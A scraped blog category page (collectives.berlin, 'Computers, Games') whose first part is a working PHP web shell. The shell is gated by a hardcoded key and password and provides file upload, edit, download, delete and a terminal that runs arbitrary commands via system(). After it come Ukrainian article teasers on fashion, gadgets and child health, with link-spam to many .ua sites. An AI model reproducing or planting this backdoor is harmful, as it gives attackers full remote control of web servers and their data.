if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 21 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Стильні костюми для кожного дня – освіжити жіночий гардероб

    Вибір одягу для повсякденних ситуацій ставить перед багатьма жінками запитання про те, як створити гармонійний образ, https://karolinka.com.ua/ не відмовляючись від комфорту. Одним із найкращих варіантів є комбінування різних елементів, таких як жакети, спідниці, штани та блузи, які дозволяють створити стильний та практичний стиль. Високоякісні тканини зі складними текстурами допоможуть підкреслити індивідуальність. Вибирайте нейтральні кольори, які…

    Click or not…

  • Роботи-помічники як частина нашого повсякденного життя

    Впровадження автоматизованих помічників у ваше середовище дозволяє значно зменшити час, https://digitalguide.in.ua витрачаємий на рутинні завдання. Наприклад, багато родин вже оцінили переваги роботів-пилососів. Ці пристрої самостійно очищують підлогу, дозволяючи вам зосередитися на важливіших справах, таких як спілкування з близькими або заняття улюбленими хобі. Інші технологічні засоби, такі як кухонні роботи, роблять приготування їжі простішим. З їхньою…

    Click or not…

  • Причини поганого сну дитини та способи їх усунення

    Регулярний графік – перший крок до спокійного відпочинку малюка. Установіть чіткий режим: https://mama-choli.com.ua/ година сну та пробудження повинні бути однаковими, навіть у вихідні. Це допоможе організму налаштуватися на природний ритм. Зверніть увагу на середовище для сну. Температура в кімнаті має бути комфортною, а шум і яскраве світло необхідно мінімізувати. Використовуйте затемнюючі штори та забезпечте тишу,…

    Click or not…

  • Профілактика здоров’я дітей у педіатрії без хвороб та стресу

    Дотримання режиму фізичної активності є основою для формування сильного організму. Рекомендується щонайменше 60 хвилин рухової активності щодня, https://medart.in.ua/ що включає різноманітні ігри, спорт та прогулянки на свіжому повітрі. Раціон харчування має бути збалансованим. Включення свіжих овочів, фруктів, цільнозернових продуктів та білків зміцнює імунну систему. Уникання надмірної кількості цукру та трансжирів допоможе запобігти розвитку різних розладів.…

    Click or not…

  • Непримхливі рослини для прикраси вашого інтер’єру без клопоту

    Якщо ви шукаєте прості у догляді зелені друзі, koketka.com.ua спробуйте сансевієрію. Ця витривала квітка легко переживе перепади температури та рідко потребує поливу. Вона очищує повітря і додає стиль до будь-якої кімнати. Ще однією відмінною альтернативою є кактуси. Ці колючі красуні не тільки цікаві візуально, але й не вимагають частого зволоження. Змістити їх можна на підвіконні…

    Click or not…

  • Майбутнє технологій: прогнози експертів

    У сучасному світі технології розвиваються з неймовірною швидкістю, і їх вплив на наше життя стає все більш помітним. Від штучного інтелекту до біотехнологій, від Інтернету речей до віртуальної реальності – майбутнє технологій обіцяє бути захоплюючим та сповненим нових можливостей. У цьому звіті ми розглянемо прогнози експертів щодо майбутнього технологій, in.ua їх вплив на суспільство та…

    Click or not…

  • Паролі та двофакторна автентифікація: основи безпеки

    У сучасному цифровому світі безпека особистих даних та інформації стає дедалі важливішою. Зі зростанням кількості онлайн-сервісів та платформ, https://cloudexpertua.in.ua які ми використовуємо щодня, зростає і ризик несанкціонованого доступу до наших акаунтів. Одним із основних засобів захисту наших даних є паролі, а їхня надійність може бути значно підвищена за допомогою двофакторної автентифікації. У цьому звіті ми…

    Click or not…

  • Як правильно вибрати MacBook Air M2 або M3 для роботи

    Обирати між моделями M2 та M3 має сенс, якщо ваша робота пов’язана з ресурсомісткими завданнями, такими як обробка відео чи 3D-моделювання. Пристрій з M3 надає кращу графіку, що може суттєво вплинути на швидкість рендерингу та візуалізації. Якщо ваші завдання переважно орієнтовані на текстові документи та веб-серфінг, digital-world.com.ua то M2 також забезпечить відмінну продуктивність за нижчу…

    Click or not…

  • Найцікавіші історичні пам’ятки України для відкриттів і досліджень

    Для тих, хто прагне дізнатися більше про культурні перлини, варто відвідати Київ, де розташований Київський peцерквольний комплекс. Він заворожує не лише архітектурою, https://ostrovturista.com.ua/ але і захоплюючими сюрпризами, які приховують його стіни. Львів здивує зацікавлених своєю архітектурною різноманітністю: від Ратуші до Оперного театру. Кожна будівля розповідає історію, що перенесе вас у часи минулого. Продовжуючи подорож, не…

    Click or not…

  • Доповнена реальність її визначення та приклади застосування

    Конкретні https://goldmaster.com.ua/ методи інтеграції віртуальних об’єктів у реальний світ дозволяють значно підвищити досвід користувачів. Наведемо кілька прикладів для кращого розуміння. Сфери використання техніки Освіта: Використання віртуальних об’єктів для вивчення складних понять, наприклад, в хімії або фізиці. Студенти можуть спостерігати моделі молекул або фізичних явищ у тривимірних проекціях. Медицина: Віртуальні технології допомагають в підготовці лікарів. Моделювання…

    Click or not…